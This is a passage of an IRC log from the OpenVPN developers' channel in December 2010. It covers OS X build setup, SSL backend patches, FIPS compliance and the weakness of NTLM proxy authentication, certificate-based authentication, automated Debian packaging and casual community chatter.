it's broken, dazo is supposed to fix it 13:27 < ecrist> right now, it won't compile properly, it's missing an include or something 13:28 <@dazo> ecrist: can you tell krzie what he needs to get his environment ready for some debugging of this? it's difficult to fix it without OSX 13:28 < ecrist> yeah, did you ever fix the compile issues? 13:30 < krzie> i already should have what you need 13:30 < krzie> xcode and whatnot 13:30 <@mattock> macports or something, too? 13:30 < krzie> aye 13:30 <@dazo> ecrist: the thing is, it's impossible for me to really test it without the proper environment ... it's like writing code in darkness 13:30 < krzie> always 13:30 < krzie> in fact macports is why i have xcode ;) 13:31 < krzie> i compile a bit of stuff via commandline... it should be good to go 13:31 < krzie> dazo, plus i could even give you root on it if you needed, its a fresh install and i plan on redoing it soon 13:31 < krzie> good timing ;) 13:31 <@cron2> oopsa 13:31 <@cron2> missed the meeting 13:32 < ecrist> doesn't vmware support os x now as a guest? 13:32 < krzie> yes, it does 13:32 < krzie> hackintosh style ;] 13:32 <@mattock> does apple approve that? 13:33 <@mattock> or have they filed a lawsuit already? :) 13:34 < Essobi> lol 13:34 < Essobi> It's not an official guest man. 13:36 <@mattock> anyways, I'll write the summary tomorrow as usual 13:36 < common> what I did not understand 13:37 < common> what is the difference if you use the cn or the email for authentication in regards to validation/ca chain 13:37 < Essobi> krzie: Is that where I've seen you before? The hackint0sh scene? Heh. 13:37 <@jamesyonan> Essobi: if you want to write it up on the wiki, or just email the info and patches to the mailing list, that would be great 13:38 < Essobi> I'll likely put it up on the wiki, but I need to get off my ass, and find somewhere to host my own work too. ;) 13:38 < krzie> Essobi, yes 13:38 < krzie> =] 13:39 < krzie> we're both in #ios 13:39 < Essobi> Looks like freebsd.org is for commitors only. :\ 13:39 < krzie> im in #snowleopard and you are in #hackint0sh 13:39 < Essobi> lol 13:39 < Essobi> and #ios 13:40 < ecrist> anything go on in #snowleopard? 13:40 <@dazo> krzie: I doubt I need root .... but a complete build environment from command line would be great 13:41 < krzie> mattock, for the record im currently on a hackintosh and apple definitely does not approve ;] 13:41 < krzie> dazo, not a problem, that should all be good 13:41 <@mattock> krzie :P 13:41 < krzie> and anything you need will be added 13:41 < common> dazo: backlog, 5 minutes ago, "what is the difference if you use the cn or the email for authentication in regards to validation/ca chain 13:41 < krzie> up to and including the ability to crack md5 using cuda via CLI ;] 13:41 <@dazo> krzie: well, vim or emacs or another console friendly editor will also help, btw ... somehow, I'd expect vim to be there 13:42 < krzie> yes it is, by default 13:42 < krzie> as is nano 13:43 < krzie> and ed 13:44 < ecrist> and pico is symlinked to nana 13:44 < ecrist> nano 13:45 < krzie> and i can boot you into 64bit or 32bit kernel upon request 13:45 <@dazo> ed ...... ugh .... well, some people are crazy enough to still use it 13:46 <@dazo> krzie: I don't expect this to be arch related, so either is fine .... 64bit is probably more common nowadays 13:47 < Essobi> doesn't SL still default to 32 bit on install? 13:47 < Essobi> I think it does. 13:48 -!- edmund [~hello@12.17.176.50] has quit [Quit: edmund] 13:48 <@dazo> really? 13:50 < Essobi> Yea, I think so. My MBP was, I had to force it to 64-bit. 13:51 < krzie> yes 13:51 <@dazo> jamesyonan: cron2: anyone care to ack/nack this patch? http://thread.gmane.org/gmane.network.openvpn.devel/4194 13:51 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:51 < krzie> 64bit is advanced config only, except maybe for mac pro's 13:52 < krzie> 32bit is much more common 13:52 <@dazo> krzie: okay, then it sounds like 32bit :) 13:53 < krzie> cool, i was just offering in case you wanna put the stamp of approval on it compiling under both 13:53 < krzie> since its a simple config edit (and replacing one of my kexts... easy to do with a reboot) 13:53 < Essobi> It's probably defaulted on the install if you have more then 4Gigs of ram out of the box, I'd imagine. 13:53 < krzie> actually no 13:54 < krzie> it uses 32bit either way, but still uses more than 4g ram 13:54 < Essobi> I believe you can cross compile 32-bit on 64-bit and run them just the same as well. 13:54 < krzie> yep 13:54 < krzie> its only a matter of what the kernel is running in 13:54 < Essobi> i <3 BSD and by extention OSX. 13:55 < krzie> as do i =] 14:01 < andj> evening 14:02 < andj> anyone have a chance to look over the patches I sent out? 14:04 <@dazo> andj: sorry, not yet ... first I'd like to see the Doxygen stuff getting merged in asap ... as that is really valuable info for a lot of developers 14:05 < andj> That shouldn't be too dangerous a patch to apply, indeed 14:10 <@dazo> andj: I've got quite a full plate nowadays with OpenVPN stuff ... so I need to clean a few of them to get time for more review stuff, but unless something have happened, I'll be happy to begin to digest at least the simpler stuff of your patches 14:10 <@dazo> Essobi: would you have time/energy to do some SSL reviewing? andj has proposed quite a change to modularise the SSL interface ... patches on the ML now 14:11 < Essobi> *SHUDDER* I'm not that good with openSSL, but thanks for thinking I am. ;) 14:11 < andj> No rush, we can always wait for the 2.2 integration 14:12 < Essobi> Is he modularizing it so you can switch out the backends? NSS? 14:12 < Essobi> Oh.. heh.. you're here. 14:12 <@dazo> Essobi: yes, that's the idea 14:12 < andj> That's the idea, at compile time 14:12 < andj> Think it was something along the lines of --with-ssl-type=polarssl or something 14:12 < andj> for configure 14:13 < andj> there 14:13 < andj> 's a few backend header files that define the interface 14:13 < krzie> wow, he has started coding for openvpn 3.0 already! 14:13 < Essobi> Right right.. Don't forget to generify the --ssl-lib-path=X and --ssl-inc-patch=X ;) 14:14 <@dazo> Essobi: well, you probably have more real SSL development experience than quite many others here, so we're aiming towards those who knows at least something 14:14 < andj> if you mean path, that was pretty generic already :) 14:14 < andj> just added -I and -l options 14:14 <@dazo> krzie: yeah, it's a big step of code which should be possible to move over when we get 3.0 started 14:14 < Essobi> andj: Good point.. just add it to the defines with the --with-ssl-type.. 14:14 < krzie> ^5 @ andj 14:15 < Essobi> andj: Suppose I'll have to make the FIPS patch for that too, cause it uses wonky openssl paths, which are required for FIPS compliance. 14:16 < andj> What's the state of the OpenSSL FIPS libraries nowadays? A while back you had to go through all sorts of hoops to also have your application compliant 14:17 < andj> Is OpenVPN automatically FIPS compliant if you offload all of your crypto to OpenSSL FIPS? 14:18 < Essobi> andj: Yes. 14:18 < Essobi> It's not the app that has to have compliance, it's the library. 14:19 < Essobi> So long as you build it properly, as noted in the user manual, and document it, it's FIPS 140-2 compliant. 14:19 < Essobi> And the app you use is by extention as well, so long as it doesn't link to/use any other crypto libraries, and the app itself doesn't do any crypto, but uses only the FIPS module. 14:20 < andj> aha 14:20 < Essobi> andj: I'm going to be turning up about 2.5K FIPS compliant endpoints in the next year for a state contract. 14:20 < andj> So the few separate crypto steps, such as the NTLM code should be offloaded too then, I guess 14:21 < Essobi> Oh? I hadn't dug deep but I wasn't aware there was other crypto being used internally. 14:21 < andj> Not many places, think that was one of them 14:22 < andj> But NTLMv1 proxies might have to be disabled for evaluations anyway 14:22 < krzie> ewww 14:22 < krzie> people actually use NTLM for their proxies!? 14:22 < Essobi> Hmm.. that's RC4/FIPS46-2 IIRC... I'll double check but I don't think either of those are supported in 140-2. 14:23 < Essobi> krzie: I know, right? 14:23 < krzie> like "hey guys, im using a broken algorythm for my vpn, come on in" 14:23 < Essobi> Both are EASILY broken. 14:23 < Essobi> You can brute NTLM at astounding numbers these days. 14:23 < andj> It's just proxy authentication, but it still counts as crypto :) 14:24 < Essobi> andj: Thanks for the heads up thou, I'll go mangle that in my patch. I assume it's plain as day where the code is living? 14:24 < andj> ntlm.c 14:24 < andj> should be ok :) 14:24 < andj> If you don't need it, you could just consider leaving it out, think there was a define 14:25 < andj> But haven't got the code handy, it's on my work PC 14:27 < Essobi> Right, I don't either.. it's on my dual boot, and I'm in the middle of a build. 14:27 < Essobi> I'll check it thou, thanks. 14:28 * andj shivers 14:28 < andj> ot 14:28 < andj> oops 14:28 < andj> it's DES 14:32 < Essobi> .... Are you shitting me? lol I'm pretty sure that was NTLMv1. 14:32 < andj> It's ntlm v1 and v2 in there 14:33 < Essobi> Microsoft has even put out press telling devs not to use NTLM anymore. 14:33 < andj> But as stated before, it's just to cross proxies 14:33 < Essobi> ... For what? Forgive me, but I'm an openVPN newb. 14:33 < andj> client side support is going to be necessary for a long time to come 14:34 < Essobi> well... NTLM is only used by windows machine auth when there isn't a domain controller available. 14:35 < andj> Or if you have a client that doesn't support kerberized SSO 14:35 < andj> Or am I mistaken? 14:35 < Essobi> Right.. well. kerb SSO is used by all domain controllers. 14:36 < Essobi> So if you're not on a domain, and you're doing remote auth, it's still NTLM. 14:36 < Essobi> aka workgroup/peer-to-peer mode 14:37 < andj> Anyway, if you've got to cross an ancient MS proxy server, you might need NTLMv1 support, so I guess that's why the code's still there 14:37 * cron2 jumps up and down and is happy 14:38 < Essobi> Hmm... I'm probably going to gut it for FIPS, but NTLM also supposed MD5, but I don't think the FIPS module is certified to use that, in that manor.. I'll have to pull the docs again and check. 14:38 <@cron2> mattock (and raitz etc. :) )made IPv6 work on community! 14:39 < andj> sweet 14:39 < Essobi> cron2: YAY.. what's community? :) 14:39 <@cron2> community.openvpn.net 14:39 < krzie> community.openvpn.net 14:39 <@cron2> "the server" 14:39 < krzie> jinx! 14:39 <@cron2> yeah :-) 14:39 < Essobi> Cool.. is that a allbranches test box? 14:40 <@cron2> that's the trac and wiki and forums server 14:40 < krzie> http: 14:40 <@cron2> ok, folks, need to run -> prepare some cookies for saturday ("familiy weekend") and then go to bed. alarm at 05:30 *shiver* 14:40 < Essobi> andj: Yea.. checked on pedia.. NTLMv1 is DES and NTLMv2 is MD5 for hashing. 14:40 < krzie> yay for pot cookies! 14:40 < Essobi> ...... 14:41 < Essobi> Hahaha. 14:41 < krzie> oh wait... he didnt say that 14:41 < krzie> ;] 14:41 < andj> lol 14:41 < andj> NTLMv2 is still used a lot though 14:41 < andj> and should be ok 14:42 < Essobi> andj: MS is still telling devs to stop using it. ;) Heh. 14:42 < krzie> isnt ntlmv2 the alg windows uses? 14:43 < andj> yeah, alongside kerberos 14:43 < andj> and it shouldn't be a problem 14:44 < andj> as long as you're not using NTLMv1, which is disabled by default, starting with either windows vista or 7 14:46 < Essobi> krzie: It's the one it uses if you have an older machine w/o a domain. 14:46 < Essobi> NTLMv1, V2, and V2-session. 14:46 < krzie> nah those still have slight shortcuts and are actively cracked using CUDA 14:46 < krzie> not as much shortcuts as md5, but they still exist 14:47 < andj> are you sure, it uses NTLMv2 still doesn't it? 14:47 < Essobi> v1 is inherently bad.. DES is SO easy to crack. 14:47 < Essobi> V2 isn't much better as it's MD5 14:47 < krzie> but the way the md5 is applied you dont get as many shortcuts as straight md5 does 14:47 < krzie> lemme find a link explaining the shortcuts 14:48 < Essobi> V2-sessions is a better version of v1 with longer keylengths, MD5 replacing DES. 14:48 < krzie> i know the emdebr author wrote some good stuff about it 14:49 < Essobi> It takes longer to break sessions, but you can still mangle it with ranbow tables since the password's max length is 16 characters and they don't mutate the other portions of the exchange. :( 14:50 < krzie> oh cool, he wrote a ps3 md5 cracker too now 14:50 < krzie> http://blog.distracted.nl/2009/07/new-and-faster-emdebr-finally-done.html 14:50 <@vpnHelper> Title: Distracted: New and faster EmDebr finally done (at blog.distracted.nl) 14:50 < Essobi> Neat.. I'll take a peak at that. 14:50 < krzie> surf the blog archives for the md5 shortcut details 14:50 < krzie> it will also mention ntlm shortcuts 14:50 < krzie> (since they are related) 14:51 < Essobi> Well.. there's bad things one can do in the key exchange if the chall/respo isn't verified by the domain controller too. 14:51 < Essobi> Inherently, NTLM is bad, M'kay? :) 14:51 < krzie> agreed =] 14:52 < Essobi> I smell a #IFNDEF statement coming. 14:53 < andj> http://technet.microsoft.com/en-us/library/cc512606.aspx 14:53 <@vpnHelper> Title: Frequently Asked Questions About Passwords (at technet.microsoft.com) 14:53 < andj> gives some more background 14:57 < Essobi> yea.. if someone is using a NTLM proxy tunnel and wants FIPS 140-2 compliance, they're SOL. 14:57 < Essobi> Any place else you guys know off hand where crypto fucntions are called? 14:58 < andj> have a look at the seperation patches, it touches just about all of them :) 14:59 < andj> httpproxy.c I think 14:59 < Essobi> 'seperation' patches? 14:59 < andj> -e + a 14:59 < Essobi> What're thos? 15:00 < Essobi> <-- openvpn newb 15:00 < andj> http://article.gmane.org/gmane.network.openvpn.devel/4234 15:00 <@vpnHelper> Title: Gmane -- Mail To News And Back Again (at article.gmane.org) 15:00 < Essobi> roger that 15:00 < andj> that's the SSL one, there's a crypto one as well 15:01 < andj> which is probably more interesting 15:03 < andj> I think that's about it: crypto.c ssl.c pkcs11.c ntlm.c httpproxy.c 15:04 < andj> oh yeah, cryptoapi.c for the windows crypto API 15:05 < Essobi> Meh. 15:05 < Essobi> Okay.. I'll take a look at them. We may need more work after all for full FIPS. 15:06 < andj> Most of those can be disabled from configure 15:07 < Essobi> Good good. We (as in the company) might need the cryptoapi.c. I'm not sure if the clients need it, or if just the server is required by our contracts. 15:07 < Essobi> andj: I'll take a peek thou, thanks again. 15:08 < andj> np, done a lot of work there recently :) 17:34 < ecrist> raidz: I'll probably start poking with SEO tonight 18:12 * ecrist updates forum software 18:30 -!- dazo is now known as dazo_afk 18:32 -!- dazo_h [~dazo@2001:470:9d83:350:213:e8ff:feb8:527f] has joined #openvpn-devel 18:32 < dazo_h> common: I've just sent a patch set to the mailing list with the new plug-in API ... let me know if that would cover your use case as well or not. 18:35 -!- dazo_h [~dazo@2001:470:9d83:350:213:e8ff:feb8:527f] has quit [Client Quit] 19:34 < ecrist> patelx or raidz: I need a CNAME record created please 19:34 < ecrist> bah, nm, I'll just use an alias 19:41 * ecrist tries to not break the forum 20:05 * ecrist gets phpbb-seo installed and functional with re-written URLs 20:14 < ecrist> I've gotta say, I'm not much a fan of pulling the Community Project tab off the main site 20:15 < ecrist> also, I'm tired of talking to myself. 22:23 -!- andj [~Adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has quit [Ping timeout: 245 seconds] 22:25 -!- andj [~Adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has joined #openvpn-devel 23:55 -!- Netsplit *.net <-> *.split quits: andj 23:59 -!- Netsplit over, joins: andj --- Day changed Fri Dec 10 2010 00:49 -!- andj [~Adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has left #openvpn-devel ["Leaving."] 01:09 -!- dazo_afk is now known as dazo 01:21 -!- dazo is now known as dazo_afk 01:27 -!- dazo_afk is now known as dazo 03:19 <@dazo> common: have you had a chance to look at my plug-in v3 patches? To see if that can fit your usage better? 03:21 -!- mape2k [~jabber@galatea.net.pennewiss.de] has joined #openvpn-devel 03:25 < common> while I can access the ssl extensions this way 03:25 < common> which is fine 03:25 < common> I can't rename the client to the email 03:25 < common> so logs are meaningless 03:26 < common> as the use a different username (cn) than I actually use for authentication 03:26 < common> which is not okay to me 03:26 < common> but 03:27 < common> coming back to the certificate chain concerns 03:27 < common> whats the difference in using the cn or some other field of the email in regards to cert chains? 03:27 < common> none 03:28 < common> if your pki fails, it does not matter if you have cn or email as authentication token 03:28 < common> so, the security implications are basically the same as you have when using cn for auth 03:30 <@dazo> common: Well, the plug-in interface can be used to *do* the authentication ... so that plug-in will do your authentication primarily 03:31 <@dazo> common: however, there is even a return_list possibility, where is used to pass back information to OpenVPN ... if it's possible to change the contents of the CN field, that's I don't know yet 03:34 < common> currently I have a connect-script which gets the ext:altSubjectName as common_name and use this common_name and the remote_addr as values for authentication 03:34 < common> I rely on openvpns tls verify cb 03:35 <@dazo> and that is still doable to do directly in a C plug-in, that's exactly what I'm doing in eurephia ... http://www.eurephia.net/ 03:35 <@vpnHelper> Title: eurephia :: a flexible OpenVPN authentication module (at www.eurephia.net) 03:36 <@mattock> could somebody take a look at this before I send out the meeting summary: http://pastebin.com/QU5SyUYt 03:36 <@mattock> I mean, is it understandable and correct? 03:37 < common> mattock: I disagree, given this problem actually exists when using the CN too 03:37 < common> but you may be right 03:37 < common> not sure, will test later today 03:38 <@dazo> common: for me it's less important if this loop-hole exists in CN currently today, as that is the next thing we need to see how we can fix as well ... I'm just sceptical to introduce a wider loop-hole until we are sure the initial hole is safe 03:38 < common> basically it says you can't use openvpn with external root ca certificates 03:39 <@dazo> if you want to be 100% safe, yes, that is the safest ... and that's what the majority of users does today 03:39 <@dazo> however, in larger environments with sub-CA's, this will still be an issue 03:40 < common> I'll hit our pki ladies with this problem 03:40 <@dazo> thx! 03:43 <@dazo> wtf ... ping response of 1500ms to my local wireless router .... 03:43 <@mattock> dazo: Fedora? 03:43 <@mattock> maybe network-manager? 03:43 < common> wifi - so what? 03:43 <@dazo> mattock: F13 ... using 11gn connection .... the iwlagn driver is probably still flaky 03:44 <@mattock> common: not sure of the details (cn vs. email) 03:45 <@dazo> common: when you run VPN over wifi with such bad response locally ... you can imagine how "quick" my 17Mbit Internet line feels :) 03:53 <@mattock> hmm... WinXP build comp is not responding... I'll finish the buildbot setup (automated package publishing) then 04:00 < common> I expect our pki ladies to love me for coming with this ... 04:23 -!- common- [~common@p5DDA4979.dip0.t-ipconnect.de] has joined #openvpn-devel 04:27 -!- common [~common@p5DDA480F.dip0.t-ipconnect.de] has quit [Ping timeout: 272 seconds] 04:27 -!- common- is now known as common 04:44 -!- dazo is now known as dazo_afk 05:10 -!- dazo_afk is now known as dazo 05:46 <@dazo> mattock: I probably never gave you feedback ... but your summary makes sense 05:47 <@dazo> mattock: only that it's not the inital v3 plugin API ... it's the second round :) 05:59 <@mattock> ok 06:05 <@mattock> summary sent 06:08 -!- dazo is now known as dazo_afk 06:16 -!- dazo_afk is now known as dazo 06:36 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn-devel 06:36 < janjust> hey all 06:48 <@mattock> hi janjust! 06:48 < janjust> hi mattock 06:49 <@mattock> janjust: what's up? 06:50 < janjust> am talking to dazo right now about the ca/sub-ca mess, other than that: nearly finished my book ! 06:52 <@mattock> excellent! I got to buy your book when it's finished 06:52 < janjust> hehe you should indeed ;-) 06:53 < janjust> it's already available as a preview (RAW) release 06:56 < janjust> quick question for the list: did anybody get a chance to make --shaper work on a linux client? 06:56 <@dazo> I honestly doubt so 06:57 <@dazo> the recommendations being given is mostly to use 'tc' 06:57 <@dazo> ecrist/krzie might have a better overview though 06:58 < janjust> yeah but this is for the *client* side, not the server side; asking clients to use 'tc' might be a bit overkill 06:58 * ecrist doesn't support linux 06:58 < ecrist> it's evil 06:58 * janjust thinks ecrist is a mac fanboi 06:58 * ecrist is a FreeBSD fanboi 06:58 < janjust> lol 06:58 < ecrist> :) 06:59 < janjust> well then, does '--shaper' work for bsd cilents? 06:59 < ecrist> no clue. I've never used it. 06:59 < ecrist> if you want, I can try to get it tested, though. 06:59 < janjust> the problem is, --shaper works fine for openvpn 2.0 clients, but not for 2.1 clients on linux 07:00 < janjust> just add "push "shaper 10000"" to the server config, connect a client , and measure the upload speed from client to server 07:07 <@mattock> regarding evilness of linux... check out how wicked the development pace of Linux kernel is: http://www.linuxfoundation.org/docs/lf_linux_kernel_development_2010.pdf 07:07 <@mattock> 4-5 patches each hour 07:08 * dazo is happy OpenVPN got a way slower pace ..... 07:08 <@mattock> some 1.4 million lines of code added/removed/changed in last 2-3 months 07:08 <@mattock> and still the thing holds together remarkably well 07:08 <@mattock> or was it 1.4 million lines since last report (1 year) 07:08 <@mattock> anyways... 07:09 < janjust> hehe 07:09 < janjust> I'm not saying linux is sacred ;-) ... 07:09 < janjust> I just happen to use it for almost all my daily work 07:10 * dazo too :) 07:10 <@dazo> (maybe not so strange considering who my employer is :-P) 07:11 * janjust knows dazo is an Kubuntu fanboi :P 07:11 * dazo slaps janjust with a big fat trout 07:12 <@dazo> specially delivery from the Shadowman :-P 07:12 < ecrist> someday, you two may be able to use a real OS 07:12 < ecrist> :) 07:12 < janjust> hehe 07:12 * ecrist works in a 100% freebsd shop 07:12 < janjust> ecrist: I've used real OSes most of my life: DOS 3.2, 3.3, 4.0, 5.0 07:13 * ecrist bows down 07:13 < ecrist> lol 07:13 < janjust> single threaded 8bit compatible, nearly 1 MB of memory access . Yeah! 07:13 <@dazo> those were the days ... when 4MB RAM was impressive ... 07:14 < ecrist> 1 gigabyte hard drive? we'll NEVER be able to use all that space! 07:14 <@dazo> I can't imagine a device I have now which got less RAM than 512MB 07:14 < janjust> yeah now I have to stick at least 4GB of ram into a pc in order to impress the Babes ;-) 07:14 <@dazo> janjust: or to have impressive Babes on the screen? 07:15 < ecrist> my mac laptop has 8GB of ram 07:15 < janjust> nah dazo, that's what I got the 23 inch screen for 07:15 <@dazo> lol 07:19 <@dazo> as it is Friday, December and soon 3rd advent .... http://www.youtube.com/watch?v=JldHZAlIk0w 07:19 <@vpnHelper> Title: YouTube - Steve Lukather & Nuno bettencourt - Joy To The World Live HD (at www.youtube.com) 07:21 < janjust> alright folks, gotta go do something useful again. see you all later 07:21 <@dazo> janjust: have fun! visit us soon again ;) 07:22 -!- janjust [~janjust@ardeche.nikhef.nl] has quit [Quit: Leaving] 07:29 <@mattock> dazo: any git one-liner to obtain the commit id of the latest commit in current directory? 07:29 <@dazo> yeah ... 07:29 <@mattock> without excessive use of sed, tr, cut et al 07:29 * dazo looks 07:29 * ecrist should know that one 07:30 <@dazo> mattock: git rev-list -1 <branch> 07:32 <@mattock> did not work, but this did: http://www.linuxfoundation.org/docs/lf_linux_kernel_development_2010.pdf 07:32 <@mattock> oops 07:32 <@mattock> git rev-list HEAD|head -n 1 07:32 <@mattock> :) 07:32 <@dazo> mattock: which git version are you at? 07:41 <@mattock> 1.6.3.3 07:41 <@dazo> ahh ... might be that's a bit outdated ... I'm on 1.7.2.3 07:42 <@mattock> I need something that works on old versions as well... old as in 1.5.6.5 07:43 <@dazo> ugh ... wow 07:43 <@mattock> it's for the automated debian packaging 07:43 <@dazo> aha 07:43 <@mattock> my version seems to work ok on 1.5.6.5 07:44 <@dazo> cool, that's the way to go then :) 07:44 <@mattock> I'll embed the git commit id into the debian changelog 07:44 <@dazo> clever! 07:44 <@mattock> don't want to make the filenames ridiculous-looking :) 07:45 <@dazo> grmbl! commish is not ridiculous looking! 07:45 <@dazo> :-P 07:45 <@dazo> commitish* 07:45 <@dazo> hmm ... Coverity presentation at work ... with a guy from that place 07:45 * dazo logs unto the presentation site 07:46 <@mattock> so, in case somebody starts using our snapshot packages, they can get the exact commit id from /usr/share/doc/openvpn/changelog.Debian.gz 07:46 <@mattock> for debugging the problem 07:48 <@dazo> goodie! 07:52 < ecrist> mattock: it's available on the ftp server now, too 07:53 < ecrist> ftp://ftp.secure-computing.net/pub/openvpn/revision.log 07:54 <@mattock> ok 07:59 < ecrist> we added that around a month ago 07:59 < ecrist> :) 08:03 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 08:03 < ecrist> dazo: are there any openvpn ifdefs in all-merged we want to be enabling for testing purposes? 08:03 <@dazo> ecrist: I don't think any more ... --enable-password-save is probably the only one 08:03 < ecrist> but that's for windows 08:04 < ecrist> the change, i mean 08:04 * ecrist is updating freebsd devel port 09:15 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 09:37 < Essobi> ecrist: You're the port maintainer? 09:37 < ecrist> aye 09:37 * Essobi high-fives ecrist. 09:37 < Essobi> I'm totally sending you a FIPS port patch. :) 09:37 < ecrist> sure! 09:38 < ecrist> to be honest, once you got it all figured out, I was planning on putting an option in there, anyhow 09:38 < Essobi> Tehe. 09:38 < Essobi> I've been pondering this for sometime.. 09:39 < Essobi> FreeBSD's core cryptolib is still based on openssl 0.9.8.. It'd be trivial to replace it with the crypto module, and update world to use it. 09:39 < Essobi> Then piece by piece mangle the ports to use it as well. 09:40 < ecrist> iirc, they rolled HEAD over to 1.0.0 09:40 < Essobi> You could have a whole OS and PORTS tree on FIPS compliance. 09:40 < Essobi> ecrist: Did they? Meh. 09:40 * Essobi googles his yahoo. 09:42 -!- mape2k [~jabber@galatea.net.pennewiss.de] has left #openvpn-devel [] 09:46 < Essobi> Hmm.. My 9.0-current-201011 build shows /usr/src/crypto/openssl/README as 0.9.8n... I suppose it could be out of sync thou. 09:47 < ecrist> maybe they were just discussing it and I'm mistaken. 09:48 <@dazo> afaik, OpenSSL 1.0.0 is not FIPS certified ... only 0.9.8 is, iirc 09:48 < ecrist> yeah, I see the same as you, Essobi 09:51 < ecrist> pulling it now, I get 0.9.8q 09:52 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 09:56 < Essobi> dazo: Neither is technically.. It's a very specific branch of 0.9.8, that was forked. 09:56 < Essobi> And you have to build it in a very special way involving specific build commands, standing on one leg, under a full moon. 09:57 < Essobi> ecrist: I think q was the last push for that 0.9.8 vuln that dropped a week or so ago. This is a fresh december build, not source update. 09:57 < Essobi> dazo: But yea.. they're about US $10K short of getting the ball rolling on 1.0. 09:58 < Essobi> dazo: All the commercial supporters pull their money out of the project as they didn't want to fund an opensource product that could be used to make competing products of their own. 09:59 <@dazo> fantastic :) 09:59 < Essobi> dazo: Yea.. they're a bunch of greedy assholes. 10:00 < Essobi> I need to get someone to 'fund' me an openssl compat crypto accell that's FIPS complaint so I can document how to build an accelerated VPN with that too. :) 10:00 < Essobi> There's some damn nice cards out now, but they're $$$$$. 10:07 <@dazo> Essobi: I believe Soekris Engineering got a mini-pci accelerator which is more affordable .... with BSD support 10:09 < Essobi> Yea.. Soekris does some nice work but iirc, the CPS on that was way lower then the ~$1.5Kish cards. 10:09 < Essobi> Like... a magnitude lower. 10:10 < Essobi> I believe the soek card is more for like putting in a extremely tiny machine w/o any real mhz to assist in crypts. 10:11 <@dazo> yeah, I don't know how much effect it got on normally beefy servers 10:12 < ecrist> Essobi: if your development is specific to freebsd, you can put a hardware request in there for what you need 10:12 <@dazo> anyhow, it's usually the RSA / kex stuff which is CPU intensive ... the symmetric encryption/decryption is usually pretty fast anyway, even though AES is a bit heavier 10:13 < Essobi> ecrist: Oh? 10:13 < ecrist> http://www.freebsdfoundation.org/documents/ 10:13 <@vpnHelper> Title: FreeBSD Foundation Documents (at www.freebsdfoundation.org) 10:14 < Essobi> ecrist: Oh right on fbf. 10:14 < Essobi> I thought that disappeared when mike quit doing the build labs.. 10:14 < Essobi> Mmm. 10:14 < ecrist> iirc, iX Systems runs it now 10:15 < ecrist> apparently not 10:17 < Essobi> Hmm... I've BSed with the bsd crowd since about 97. My employeer then was a heavy contributor and user. 10:26 < Essobi> ecrist: Isn't that Warner's company... ? 10:26 < Essobi> Or he works there or is connected to them somehow.. 10:26 < ecrist> he works there 10:26 < Essobi> Ah. 10:26 < ecrist> there are about 7 people there with commit bits 10:26 < Essobi> Nice. 10:26 < Essobi> Heh... I wish #freebsd on efnet never fell out. 10:26 < ecrist> they contribute a lot of cash and resources 10:27 < ecrist> QAT runs at iX 10:27 < Essobi> unfurl, randi and all the old people.. :\ 10:27 < Essobi> And Dag... Jeez, what a character. 10:27 < ecrist> randi is still around. 10:28 < ecrist> she's, an odd duck 10:28 < Essobi> Yea, I see her here and there in #bsdcode on efnet 10:28 < ecrist> I see her here and there. 10:28 < Essobi> ecrist: .... We're all kind of odd, arn't we thou? :) 10:28 < ecrist> she was dating sillybsd or something for a while, so she made it to Mpls a few times. We all got some beers and a juicy lucy. :) 10:29 < ecrist> indeed 10:29 < Essobi> lol 10:29 < Essobi> silly was the guy at google? 10:29 < ecrist> I don't recall 10:30 < Essobi> I think he was.. she was at yahoo, and he was at google.. or vice-versa. 10:30 <@mattock> okidoki... buildbot now generates packages for Debian 5 i386/amd64 and Ubuntu 10.04 i386/amd64 from beta22 and allmerged branches whenever dazo commits to the git repo 10:30 < ecrist> I don't know him at all (met him briefly in between strip clubs as BSDCan) and I know Randi through a couple different people 10:30 <@mattock> and publishes them here: http://build.openvpn.net/downloads/ 10:30 <@vpnHelper> Title: Index of /downloads (at build.openvpn.net) 10:30 < Essobi> *SIGH* Man.. I havn't been to a BSD con since 99.. Miss some of them people a lot. :\ 10:31 < ecrist> last year I talked my employer into sending me. we've decided to make it an annual excursion. 10:31 <@dazo> mattock: great!! 10:31 <@mattock> the final touch would be to create apt repositories, so that any testers can keep updated real easily 10:31 <@dazo> if someone now can just ACK my patches, I'll push some new commits ;-) 10:32 <@mattock> yep, I'd like to see what happens, too 10:32 <@dazo> which reminds me .... we should setup something for Gentoo too ... I've completely lacked time to look at it ... and won't have for a while more 10:32 <@mattock> fedora would also be a good candidate for buildbot and automated packaging 10:33 <@mattock> or do you mean the static building stuff? 10:34 <@dazo> For Gentoo, that's just to host the ebuild files which are pulled down and the code is compiled locally 10:34 <@dazo> Re: fedora ... yeah, if we have some available resources for it ... I've been trying to get response from the package maintainer, but he hasn't responded at all ... so I'm looking at ways to circumvent that guy 10:38 < ecrist> dazo: http://secure-computing.net/files/fubar.jpg 10:38 < ecrist> that's a good circumvention tool 10:39 <@dazo> heh ... not quite my style, but maybe a change would be suitable :) 10:39 < ecrist> lol 10:44 < Essobi> not that I recommend it or have used it... but one of my co-workers said SuSe has a build service that can package for all the linux flavors out there. 10:46 <@mattock> essobi: yeah, I've looked into that 10:46 <@mattock> problem is that it's only suited for making releases, not for build automation 10:51 < Essobi> Aaaah. 10:54 < Essobi> Yea, I havn't touched it yet. 11:04 < Essobi> Meh.. Someone get me an invite to #security. :\ 11:07 < ecrist> on freenode? it's not invite-only 11:07 < ecrist> and it's in ##security 11:08 -!- patelx [~a@openvpn/corp/admin/patel] has quit [Ping timeout: 260 seconds] 11:09 -!- dazo is now known as dazo_afk 11:16 -!- patelx [~a@openvpn/corp/admin/patel] has joined #openvpn-devel 11:16 -!- mode/#openvpn-devel [+o patelx] by ChanServ 11:16 -!- krzee [~k@ftp.secure-computing.net] has joined #openvpn-devel 11:16 -!- krzee [~k@ftp.secure-computing.net] has quit [Changing host] 11:16 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 11:22 -!- roentgen_ [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 12:23 < Essobi> ecrist: Thanks.. Heh.. I kept trying to join #security and 